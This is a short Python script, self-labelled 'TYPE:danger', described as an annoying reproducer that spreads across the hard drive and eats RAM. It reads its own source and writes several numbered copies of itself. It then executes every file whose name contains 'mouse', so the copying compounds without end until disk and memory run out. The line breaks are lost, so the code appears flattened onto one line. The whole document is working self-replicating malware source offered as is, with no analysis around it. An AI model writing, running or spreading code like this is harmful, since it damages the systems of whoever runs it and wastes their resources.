#!/usr/bin/python # TYPE:danger # DESC:Souris, le reproducteur ennuyant. Reproduces on your hard drive (leaving a big mess, of course) and eats at your RAM. from random import randint import sys, re, os from dircache import listdir from string import * mouse = open(sys.argv[0]) here=replace(split(os.getcwd(),":")[-1], "\\", "/") dna = mouse.read() mouse.close() mousenum = int(dna[-4:-1]) mice = randint(2,6) for i in range(1+mousenum, mice+1+mousenum): mousename='mouse'+str(i+mousenum)+'.py' newmouse=open(mousename, "w") newdna=dna[:-3]+'%03d' % i newmouse.write(newdna) newmouse.close() friends=listdir(here) for friend in friends: if re.search('mouse', friend): os.system(friend) # 000